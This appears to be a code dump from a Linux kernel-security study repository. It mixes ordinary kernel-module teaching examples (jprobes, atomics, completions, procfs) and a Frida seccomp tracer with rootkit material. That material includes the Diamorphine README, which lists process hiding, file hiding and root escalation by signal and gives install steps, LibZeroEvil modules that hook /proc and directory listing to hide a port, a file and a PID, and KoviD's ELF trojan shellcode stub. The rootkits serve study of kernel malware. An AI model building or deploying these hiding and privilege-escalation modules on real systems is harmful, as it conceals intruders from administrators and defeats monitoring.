/linux-kernel/Diamorphine/README.md: -------------------------------------------------------------------------------- 1 | Diamorphine 2 | =========== 3 | 4 | Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x and ARM64 5 | 6 | Features 7 | -- 8 | 9 | - When loaded, the module starts invisible; 10 | 11 | - Hide/unhide any process by sending a signal 31; 12 | 13 | - Sending a signal 63(to any pid) makes the module become (in)visible; 14 | 15 | - Sending a signal 64(to any pid) makes the given user become root; 16 | 17 | - Files or directories starting with the MAGIC_PREFIX become invisible; 18 | 19 | - Source: https://github.com/m0nad/Diamorphine 20 | 21 | Install 22 | -- 23 | 24 | Verify if the kernel is 2.6.x/3.x/4.x/5.x 25 | ``` 26 | uname -r 27 | ``` 28 | 29 | Clone the repository 30 | ``` 31 | git clone https://github.com/m0nad/Diamorphine 32 | ``` 33 | 34 | Enter the folder 35 | ``` 36 | cd Diamorphine 37 | ``` 38 | 39 | Compile 40 | ``` 41 | make 42 | ``` 43 | 44 | Load the module(as root) 45 | ``` 46 | insmod diamorphine.ko 47 | ``` 48 | 49 | Uninstall 50 | -- 51 | 52 | The module starts invisible, to remove you need to make it visible 53 | ``` 54 | kill -63 0 55 | ``` 56 | 57 | Then remove the module(as root) 58 | ``` 59 | rmmod diamorphine 60 | ``` 61 | 62 | References 63 | -- 64 | Wikipedia Rootkit 65 | https://en.wikipedia.org/wiki/Rootkit 66 | 67 | Linux Device Drivers 68 | http://lwn.net/Kernel/LDD3/ 69 | 70 | LKM HACKING 71 | https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html 72 | 73 | Memset's blog 74 | http://memset.wordpress.com/ 75 | 76 | Linux on-the-fly kernel patching without LKM 77 | http://phrack.org/issues/58/7.html 78 | 79 | WRITING A SIMPLE ROOTKIT FOR LINUX 80 | https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt 81 | 82 | Linux Cross Reference 83 | http://lxr.free-electrons.com/ 84 | 85 | zizzu0 LinuxKernelModules 86 | https://github.com/zizzu0/LinuxKernelModules/ 87 | 88 | Linux Rootkits: New Methods for Kernel 5.7+ 89 | https://xcellerator.github.io/posts/linux_rootkits_11/ 90 | -------------------------------------------------------------------------------- /android-kernel/jprobe_example.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Here's a sample kernel module showing the use of jprobes to dump 3 | * the arguments of _do_fork(). 4 | * 5 | * For more information on theory of operation of jprobes, see 6 | * Documentation/kprobes.txt 7 | * 8 | * Build and insert the kernel module as done in the kprobe example. 9 | * You will see the trace data in /var/log/messages and on the 10 | * console whenever _do_fork() is invoked to create a new process. 11 | * (Some messages may be suppressed if syslogd is configured to 12 | * eliminate duplicate messages.) 13 | */ 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | /* 20 | * Jumper probe for _do_fork. 21 | * Mirror principle enables access to arguments of the probed routine 22 | * from the probe handler. 23 | */ 24 | 25 | /* Proxy routine having the same arguments as actual _do_fork() routine */ 26 | static long j_do_fork(unsigned long clone_flags, unsigned long stack_start, 27 | unsigned long stack_size, int __user *parent_tidptr, 28 | int __user *child_tidptr) 29 | { 30 | pr_info("jprobe: clone_flags = 0x%lx, stack_start = 0x%lx " 31 | "stack_size = 0x%lx\n", clone_flags, stack_start, stack_size); 32 | 33 | /* Always end with a call to jprobe_return(). */ 34 | jprobe_return(); 35 | return 0; 36 | } 37 | 38 | static struct jprobe my_jprobe = { 39 | .entry = j_do_fork, 40 | .kp = { 41 | .symbol_name = "_do_fork", 42 | }, 43 | }; 44 | 45 | static int __init jprobe_init(void) 46 | { 47 | int ret; 48 | 49 | ret = register_jprobe(&my_jprobe); 50 | if (ret < 0) { 51 | printk(KERN_INFO "register_jprobe failed, returned %d\n", ret); 52 | return -1; 53 | } 54 | printk(KERN_INFO "Planted jprobe at %p, handler addr %p\n", 55 | my_jprobe.kp.addr, my_jprobe.entry); 56 | return 0; 57 | } 58 | 59 | static void __exit jprobe_exit(void) 60 | { 61 | unregister_jprobe(&my_jprobe); 62 | printk(KERN_INFO "jprobe at %p unregistered\n", my_jprobe.kp.addr); 63 | } 64 | 65 | module_init(jprobe_init) 66 | module_exit(jprobe_exit) 67 | MODULE_LICENSE("GPL"); 68 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/et_exec_trojan.S: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | 25 | /* 92 bytes */ 26 | .globl _start 27 | .equ SYS_write, 1 28 | .text 29 | 30 | _start: 31 | # Save registers 32 | push %rax 33 | push %rcx 34 | push %rdx 35 | push %rsi 36 | push %rdi 37 | push %r11 38 | 39 | # write syscall 40 | movq $SYS_write, %rax 41 | movq %rax, %rdi 42 | 43 | # Load relative address 44 | leaq msg(%rip), %rsi 45 | 46 | # string length 47 | movq $msglen, %rdx 48 | syscall 49 | 50 | # Restore 51 | pop %r11 52 | pop %rdi 53 | pop %rsi 54 | pop %rdx 55 | pop %rcx 56 | pop %rax 57 | 58 | # Address to be replaced 59 | # when loading the "malware" 60 | # so we return control flow 61 | movq $0x1122334455667788, %rbx 62 | jmpq *%rbx 63 | 64 | msg: .asciz "-= Objective reality doesn't exist! =-\n" 65 | msglen= .-msg 66 | 67 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/src/bpf.h: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Linux Kernel version <= 5.10.0 4 | * - hash 5 | * 6 | * KoviD 7 | */ 8 | 9 | #ifndef __BPF_H 10 | #define __BPF_H 11 | 12 | #define u64_to_user_ptr(x) ( \ 13 | { \ 14 | typecheck(u64, (x)); \ 15 | (void __user *)(uintptr_t)(x); \ 16 | } \ 17 | ) 18 | 19 | #ifndef offsetof 20 | #define offsetof(TYPE, MEMBER) ((unsigned long)&((TYPE *)0)->MEMBER) 21 | #endif 22 | #ifndef container_of 23 | #define container_of(ptr, type, member) \ 24 | ({ \ 25 | void *__mptr = (void *)(ptr); \ 26 | ((type *)(__mptr - offsetof(type, member))); \ 27 | }) 28 | #endif 29 | 30 | #define num_possible_cpus() cpumask_weight(cpu_possible_mask) 31 | 32 | #define IS_FD_ARRAY(map) ((map)->map_type == BPF_MAP_TYPE_PERF_EVENT_ARRAY || \ 33 | (map)->map_type == BPF_MAP_TYPE_CGROUP_ARRAY || \ 34 | (map)->map_type == BPF_MAP_TYPE_ARRAY_OF_MAPS) 35 | #define IS_FD_PROG_ARRAY(map) ((map)->map_type == BPF_MAP_TYPE_PROG_ARRAY) 36 | #define IS_FD_HASH(map) ((map)->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) 37 | #define IS_FD_MAP(map) (IS_FD_ARRAY(map) || IS_FD_PROG_ARRAY(map) || \ 38 | IS_FD_HASH(map)) 39 | 40 | struct pcpu_freelist_head { 41 | struct pcpu_freelist_node *first; 42 | raw_spinlock_t lock; 43 | }; 44 | 45 | struct pcpu_freelist { 46 | struct pcpu_freelist_head __percpu *freelist; 47 | struct pcpu_freelist_head extralist; 48 | }; 49 | 50 | struct pcpu_freelist_node { 51 | struct pcpu_freelist_node *next; 52 | }; 53 | struct stack_map_bucket { 54 | struct pcpu_freelist_node fnode; 55 | u32 hash; 56 | u32 nr; 57 | u64 data[]; 58 | }; 59 | 60 | struct bpf_stack_map { 61 | struct bpf_map map; 62 | void *elems; 63 | struct pcpu_freelist freelist; 64 | u32 n_buckets; 65 | struct stack_map_bucket *buckets[]; 66 | }; 67 | 68 | static LIST_HEAD(sys_addr); 69 | struct sys_addr_list { 70 | unsigned long addr; 71 | struct list_head list; 72 | }; 73 | 74 | #endif 75 | -------------------------------------------------------------------------------- /linux-kernel/example_atomic.c: -------------------------------------------------------------------------------- 1 | /* 2 | * example_atomic.c 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define BYTE_TO_BINARY_PATTERN "%c%c%c%c%c%c%c%c" 10 | #define BYTE_TO_BINARY(byte) \ 11 | ((byte & 0x80) ? '1' : '0'), ((byte & 0x40) ? '1' : '0'), \ 12 | ((byte & 0x20) ? '1' : '0'), ((byte & 0x10) ? '1' : '0'), \ 13 | ((byte & 0x08) ? '1' : '0'), ((byte & 0x04) ? '1' : '0'), \ 14 | ((byte & 0x02) ? '1' : '0'), ((byte & 0x01) ? '1' : '0') 15 | 16 | static void atomic_add_subtract(void) 17 | { 18 | atomic_t debbie; 19 | atomic_t chris = ATOMIC_INIT(50); 20 | 21 | atomic_set(&debbie, 45); 22 | 23 | /* subtract one */ 24 | atomic_dec(&debbie); 25 | 26 | atomic_add(7, &debbie); 27 | 28 | /* add one */ 29 | atomic_inc(&debbie); 30 | 31 | pr_info("chris: %d, debbie: %d\n", atomic_read(&chris), 32 | atomic_read(&debbie)); 33 | } 34 | 35 | static void atomic_bitwise(void) 36 | { 37 | unsigned long word = 0; 38 | 39 | pr_info("Bits 0: " BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(word)); 40 | set_bit(3, &word); 41 | set_bit(5, &word); 42 | pr_info("Bits 1: " BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(word)); 43 | clear_bit(5, &word); 44 | pr_info("Bits 2: " BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(word)); 45 | change_bit(3, &word); 46 | 47 | pr_info("Bits 3: " BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(word)); 48 | if (test_and_set_bit(3, &word)) 49 | pr_info("wrong\n"); 50 | pr_info("Bits 4: " BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(word)); 51 | 52 | word = 255; 53 | pr_info("Bits 5: " BYTE_TO_BINARY_PATTERN, BYTE_TO_BINARY(word)); 54 | } 55 | 56 | static int __init example_atomic_init(void) 57 | { 58 | pr_info("example_atomic started\n"); 59 | 60 | atomic_add_subtract(); 61 | atomic_bitwise(); 62 | 63 | return 0; 64 | } 65 | 66 | static void __exit example_atomic_exit(void) 67 | { 68 | pr_info("example_atomic exit\n"); 69 | } 70 | 71 | module_init(example_atomic_init); 72 | module_exit(example_atomic_exit); 73 | 74 | MODULE_DESCRIPTION("Atomic operations example"); 75 | MODULE_LICENSE("GPL"); 76 | -------------------------------------------------------------------------------- /research-rootkit/pthid/pthid.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | # include // struct tcp_seq_afinfo. 26 | # endif // CPP 27 | 28 | # include "../zeroevil/zeroevil.h" 29 | 30 | 31 | MODULE_LICENSE("GPL"); 32 | 33 | # define NET_ENTRY "/proc/net/tcp" 34 | # define SEQ_AFINFO_STRUCT struct tcp_seq_afinfo 35 | # define SECRET_PORT 111 36 | # define NEEDLE_LEN 6 37 | # define TMPSZ 150 38 | 39 | int 40 | (*real_seq_show)(struct seq_file *seq, void *v); 41 | int 42 | fake_seq_show(struct seq_file *seq, void *v); 43 | 44 | 45 | int 46 | init_module(void) 47 | { 48 | fm_alert("%s\n", "Greetings the World!"); 49 | 50 | set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, 51 | fake_seq_show, real_seq_show); 52 | 53 | return 0; 54 | } 55 | 56 | 57 | void 58 | cleanup_module(void) 59 | { 60 | if (real_seq_show) { 61 | void *dummy; 62 | set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, 63 | real_seq_show, dummy); 64 | } 65 | 66 | fm_alert("%s\n", "Farewell the World!"); 67 | return; 68 | } 69 | 70 | 71 | int 72 | fake_seq_show(struct seq_file *seq, void *v) 73 | { 74 | int ret; 75 | char needle[NEEDLE_LEN]; 76 | 77 | snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT); 78 | ret = real_seq_show(seq, v); 79 | 80 | if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) { 81 | fm_alert("Hiding port %d using needle %s.\n", 82 | SECRET_PORT, needle); 83 | seq->count -= TMPSZ; 84 | } 85 | 86 | return ret; 87 | } 88 | -------------------------------------------------------------------------------- /linux-kernel/completions.c: -------------------------------------------------------------------------------- 1 | /* 2 | * completions.c 3 | */ 4 | #include 5 | #include /* for IS_ERR() */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | static struct { 13 | struct completion crank_comp; 14 | struct completion flywheel_comp; 15 | } machine; 16 | 17 | static int machine_crank_thread(void *arg) 18 | { 19 | pr_info("Turn the crank\n"); 20 | 21 | complete_all(&machine.crank_comp); 22 | pr_info("Crank turned\n"); 23 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0) 24 | kthread_complete_and_exit(&machine.crank_comp, 0); 25 | #else 26 | complete_and_exit(&machine.crank_comp, 0); 27 | #endif 28 | } 29 | 30 | static int machine_flywheel_spinup_thread(void *arg) 31 | { 32 | pr_info("Spin up the flywheel\n"); 33 | wait_for_completion(&machine.crank_comp); 34 | 35 | pr_info("Flywheel spins up\n"); 36 | 37 | complete_all(&machine.flywheel_comp); 38 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 17, 0) 39 | kthread_complete_and_exit(&machine.flywheel_comp, 0); 40 | #else 41 | complete_and_exit(&machine.flywheel_comp, 0); 42 | #endif 43 | } 44 | 45 | static int __init completions_init(void) 46 | { 47 | struct task_struct *crank_thread; 48 | struct task_struct *flywheel_thread; 49 | 50 | pr_info("completions example\n"); 51 | 52 | init_completion(&machine.crank_comp); 53 | init_completion(&machine.flywheel_comp); 54 | 55 | crank_thread = kthread_create(machine_crank_thread, NULL, "KThread Crank"); 56 | if (IS_ERR(crank_thread)) 57 | goto ERROR_THREAD_1; 58 | 59 | flywheel_thread = kthread_create(machine_flywheel_spinup_thread, NULL, 60 | "KThread Flywheel"); 61 | if (IS_ERR(flywheel_thread)) 62 | goto ERROR_THREAD_2; 63 | 64 | wake_up_process(flywheel_thread); 65 | wake_up_process(crank_thread); 66 | 67 | return 0; 68 | 69 | ERROR_THREAD_2: 70 | kthread_stop(crank_thread); 71 | ERROR_THREAD_1: 72 | 73 | return -1; 74 | } 75 | 76 | static void __exit completions_exit(void) 77 | { 78 | wait_for_completion(&machine.crank_comp); 79 | wait_for_completion(&machine.flywheel_comp); 80 | 81 | pr_info("completions exit\n"); 82 | } 83 | 84 | module_init(completions_init); 85 | module_exit(completions_exit); 86 | 87 | MODULE_DESCRIPTION("Completions example"); 88 | MODULE_LICENSE("GPL"); 89 | -------------------------------------------------------------------------------- /Frida-Seccomp/multi_frida_seccomp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import codecs 3 | import frida 4 | import sys 5 | import os 6 | import time 7 | import subprocess 8 | import threading 9 | 10 | package_name = sys.argv[1] 11 | jscode = open("./handleSeccomp.js").read() 12 | dir_path = "" 13 | 14 | device = frida.get_device_manager().enumerate_devices()[-1] 15 | print(device) 16 | 17 | pending = [] 18 | sessions = [] 19 | scripts = [] 20 | event = threading.Event() 21 | 22 | def on_spawned(spawn): 23 | print('on_spawned:', spawn) 24 | pending.append(spawn) 25 | event.set() 26 | 27 | def spawn_added(spawn): 28 | event.set() 29 | if(spawn.identifier.startswith(package_name)): 30 | print('spawn_added:', spawn) 31 | session = device.attach(spawn.pid) 32 | subprocess.Popen(args="adb logcat --pid={} | grep seccomp > {}/{}_{}.log".format(spawn.pid, dir_path, package_name, spawn.pid), stdin=None, stdout=None,stderr=None, shell=True) 33 | script = session.create_script(jscode) 34 | script.on('message', on_message) 35 | script.load() 36 | device.resume(spawn.pid) 37 | 38 | def spawn_removed(spawn): 39 | print('spawn_added:', spawn) 40 | event.set() 41 | 42 | def on_message(spawn, message, data): 43 | print('on_message:', spawn, message, data) 44 | 45 | def on_message(message, data): 46 | if message['type'] == 'send': 47 | print("[*] {0}".format(message['payload'])) 48 | else: 49 | print(message) 50 | 51 | device.on('spawn-added', spawn_added) 52 | device.on('spawn-removed', spawn_removed) 53 | device.on('child-added', on_spawned) 54 | device.on('child-removed', on_spawned) 55 | device.on('process-crashed', on_spawned) 56 | device.on('output', on_spawned) 57 | device.on('uninjected', on_spawned) 58 | device.on('lost', on_spawned) 59 | device.enable_spawn_gating() 60 | event = threading.Event() 61 | print('Enabled spawn gating') 62 | 63 | pid = device.spawn([package_name]) 64 | dir_path = "{}_{}_{}".format(package_name ,pid,time.time()) 65 | os.makedirs(dir_path) 66 | session = device.attach(pid) 67 | print("[*] Attach Application {} pid:".format(package_name),pid) 68 | subprocess.Popen(args="adb logcat --pid={} | grep seccomp > {}/{}_{}.log".format(pid, dir_path, package_name, pid), stdin=None, stdout=None,stderr=None, shell=True) 69 | print("[*] Application onResume") 70 | script = session.create_script(jscode) 71 | script.on('message', on_message) 72 | print('[*] Running Frida-Seccomp') 73 | script.load() 74 | device.resume(pid) 75 | sys.stdin.read() -------------------------------------------------------------------------------- /research-rootkit/fshid2/fshid.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | # include // filp_open, filp_close. 26 | # endif // CPP 27 | 28 | # include "../zeroevil/zeroevil.h" 29 | 30 | 31 | MODULE_LICENSE("GPL"); 32 | 33 | # define ROOT_PATH "/" 34 | # define SECRET_FILE "032416_525.mp4" 35 | 36 | int 37 | (*real_iterate)(struct file *filp, struct dir_context *ctx); 38 | int 39 | (*real_filldir)(struct dir_context *ctx, 40 | const char *name, int namlen, 41 | loff_t offset, u64 ino, unsigned d_type); 42 | 43 | int 44 | fake_iterate(struct file *filp, struct dir_context *ctx); 45 | int 46 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 47 | loff_t offset, u64 ino, unsigned d_type); 48 | 49 | 50 | int 51 | init_module(void) 52 | { 53 | fm_alert("%s\n", "Greetings the World!"); 54 | 55 | set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate); 56 | 57 | if (!real_iterate) { 58 | return -ENOENT; 59 | } 60 | 61 | return 0; 62 | } 63 | 64 | 65 | void 66 | cleanup_module(void) 67 | { 68 | if (real_iterate) { 69 | void *dummy; 70 | set_file_op(iterate, ROOT_PATH, real_iterate, dummy); 71 | } 72 | 73 | fm_alert("%s\n", "Farewell the World!"); 74 | return; 75 | } 76 | 77 | 78 | int 79 | fake_iterate(struct file *filp, struct dir_context *ctx) 80 | { 81 | real_filldir = ctx->actor; 82 | *(filldir_t *)&ctx->actor = fake_filldir; 83 | 84 | return real_iterate(filp, ctx); 85 | } 86 | 87 | 88 | int 89 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 90 | loff_t offset, u64 ino, unsigned d_type) 91 | { 92 | if (strcmp(name, SECRET_FILE) == 0) { 93 | fm_alert("Hiding: %s", name); 94 | return 0; 95 | } 96 | 97 | /* pr_cont("%s ", name); */ 98 | 99 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 100 | } 101 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/example-sctidx.c: -------------------------------------------------------------------------------- 1 | /** 2 | * MIT License 3 | * 4 | * Copyright (c) 2021 Carlos Carvalho 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | #include 25 | #include 26 | #include 27 | 28 | #include "common.h" 29 | #include "utils.h" 30 | #include "log.h" 31 | #include "elfo.h" 32 | #include "parse.h" 33 | #include "map.h" 34 | #include "asm.h" 35 | #include "validate.h" 36 | #include "destroy.h" 37 | 38 | static bool doit(const char *binfile, const char *name) { 39 | ASSERT_CON_RET_FALSE(binfile && name); 40 | open_mode_t m; 41 | struct mapped_file map = {0}; 42 | const char *file = binfile; 43 | FILE *fp = file_open_ro(file, &m); 44 | 45 | if (!fp) { 46 | log_error("Can't open file"); 47 | return false; 48 | } 49 | 50 | if(!elf_validate_filetype(fp)) { 51 | log_error("Not a valid ELF file"); 52 | file_close(fp); 53 | return false; 54 | } 55 | 56 | if (!file_load_target(&map, fp, m)) { 57 | log_error("Error loading target ELF\n"); 58 | return false; 59 | } 60 | 61 | elf_t *elfo = elf_parse_file(file, &map); 62 | elf_word_t idx = elf_parse_shdr_idx_byname(elfo, name); 63 | if (idx != -1) 64 | log_info("Section name '%s' is at offset %016llx\n", name, elfo->shdrs[idx]->sh_offset); 65 | else 66 | log_info("Section name '%s' not found\n", name); 67 | 68 | assert(elf_destroy_all(elfo)); 69 | file_close(fp); 70 | 71 | return true; 72 | } 73 | 74 | int main(int argc, char **argv) { 75 | if (argc < 3) { 76 | log_info("Use %s \n", argv[0]); 77 | asm_exit(0); 78 | } 79 | 80 | (void)doit(argv[1], argv[2]); 81 | 82 | return 0; 83 | } 84 | -------------------------------------------------------------------------------- /research-rootkit/pshid/pshid.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | // filp_open, filp_close, struct file, struct dir_context. 26 | # include 27 | # endif // CPP 28 | 29 | # include "../zeroevil/zeroevil.h" 30 | 31 | 32 | MODULE_LICENSE("GPL"); 33 | 34 | # define ROOT_PATH "/proc" 35 | # define SECRET_PROC 1 36 | 37 | int 38 | (*real_iterate)(struct file *filp, struct dir_context *ctx); 39 | int 40 | (*real_filldir)(struct dir_context *ctx, 41 | const char *name, int namlen, 42 | loff_t offset, u64 ino, unsigned d_type); 43 | 44 | int 45 | fake_iterate(struct file *filp, struct dir_context *ctx); 46 | int 47 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 48 | loff_t offset, u64 ino, unsigned d_type); 49 | 50 | 51 | int 52 | init_module(void) 53 | { 54 | fm_alert("%s\n", "Greetings the World!"); 55 | 56 | set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate); 57 | 58 | if (!real_iterate) { 59 | return -ENOENT; 60 | } 61 | 62 | return 0; 63 | } 64 | 65 | 66 | void 67 | cleanup_module(void) 68 | { 69 | if (real_iterate) { 70 | void *dummy; 71 | set_file_op(iterate, ROOT_PATH, real_iterate, dummy); 72 | } 73 | 74 | fm_alert("%s\n", "Farewell the World!"); 75 | return; 76 | } 77 | 78 | 79 | int 80 | fake_iterate(struct file *filp, struct dir_context *ctx) 81 | { 82 | real_filldir = ctx->actor; 83 | *(filldir_t *)&ctx->actor = fake_filldir; 84 | 85 | return real_iterate(filp, ctx); 86 | } 87 | 88 | 89 | int 90 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 91 | loff_t offset, u64 ino, unsigned d_type) 92 | { 93 | char *endp; 94 | long pid; 95 | 96 | pid = simple_strtol(name, &endp, 10); 97 | 98 | if (pid == SECRET_PROC) { 99 | fm_alert("Hiding pid: %ld", pid); 100 | return 0; 101 | } 102 | 103 | /* pr_cont("%s ", name); */ 104 | 105 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 106 | } 107 | -------------------------------------------------------------------------------- /linux-kernel/procfs2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * procfs2.c - create a "file" in /proc 3 | */ 4 | 5 | #include /* We're doing kernel work */ 6 | #include /* Specifically, a module */ 7 | #include /* Necessary because we use the proc fs */ 8 | #include /* for copy_from_user */ 9 | #include 10 | 11 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) 12 | #define HAVE_PROC_OPS 13 | #endif 14 | 15 | #define PROCFS_MAX_SIZE 1024 16 | #define PROCFS_NAME "buffer1k" 17 | 18 | /* This structure hold information about the /proc file */ 19 | static struct proc_dir_entry *our_proc_file; 20 | 21 | /* The buffer used to store character for this module */ 22 | static char procfs_buffer[PROCFS_MAX_SIZE]; 23 | 24 | /* The size of the buffer */ 25 | static unsigned long procfs_buffer_size = 0; 26 | 27 | /* This function is called then the /proc file is read */ 28 | static ssize_t procfile_read(struct file *file_pointer, char __user *buffer, 29 | size_t buffer_length, loff_t *offset) 30 | { 31 | char s[13] = "HelloWorld!\n"; 32 | int len = sizeof(s); 33 | ssize_t ret = len; 34 | 35 | if (*offset >= len || copy_to_user(buffer, s, len)) { 36 | pr_info("copy_to_user failed\n"); 37 | ret = 0; 38 | } else { 39 | pr_info("procfile read %s\n", file_pointer->f_path.dentry->d_name.name); 40 | *offset += len; 41 | } 42 | 43 | return ret; 44 | } 45 | 46 | /* This function is called with the /proc file is written. */ 47 | static ssize_t procfile_write(struct file *file, const char __user *buff, 48 | size_t len, loff_t *off) 49 | { 50 | procfs_buffer_size = len; 51 | if (procfs_buffer_size > PROCFS_MAX_SIZE) 52 | procfs_buffer_size = PROCFS_MAX_SIZE; 53 | 54 | if (copy_from_user(procfs_buffer, buff, procfs_buffer_size)) 55 | return -EFAULT; 56 | 57 | procfs_buffer[procfs_buffer_size & (PROCFS_MAX_SIZE - 1)] = '\0'; 58 | *off += procfs_buffer_size; 59 | pr_info("procfile write %s\n", procfs_buffer); 60 | 61 | return procfs_buffer_size; 62 | } 63 | 64 | #ifdef HAVE_PROC_OPS 65 | static const struct proc_ops proc_file_fops = { 66 | .proc_read = procfile_read, 67 | .proc_write = procfile_write, 68 | }; 69 | #else 70 | static const struct file_operations proc_file_fops = { 71 | .read = procfile_read, 72 | .write = procfile_write, 73 | }; 74 | #endif 75 | 76 | static int __init procfs2_init(void) 77 | { 78 | our_proc_file = proc_create(PROCFS_NAME, 0644, NULL, &proc_file_fops); 79 | if (NULL == our_proc_file) { 80 | pr_alert("Error:Could not initialize /proc/%s\n", PROCFS_NAME); 81 | return -ENOMEM; 82 | } 83 | 84 | pr_info("/proc/%s created\n", PROCFS_NAME); 85 | return 0; 86 | } 87 | 88 | static void __exit procfs2_exit(void) 89 | { 90 | proc_remove(our_proc_file); 91 | pr_info("/proc/%s removed\n", PROCFS_NAME); 92 | } 93 | 94 | module_init(procfs2_init); 95 | module_exit(procfs2_exit); 96 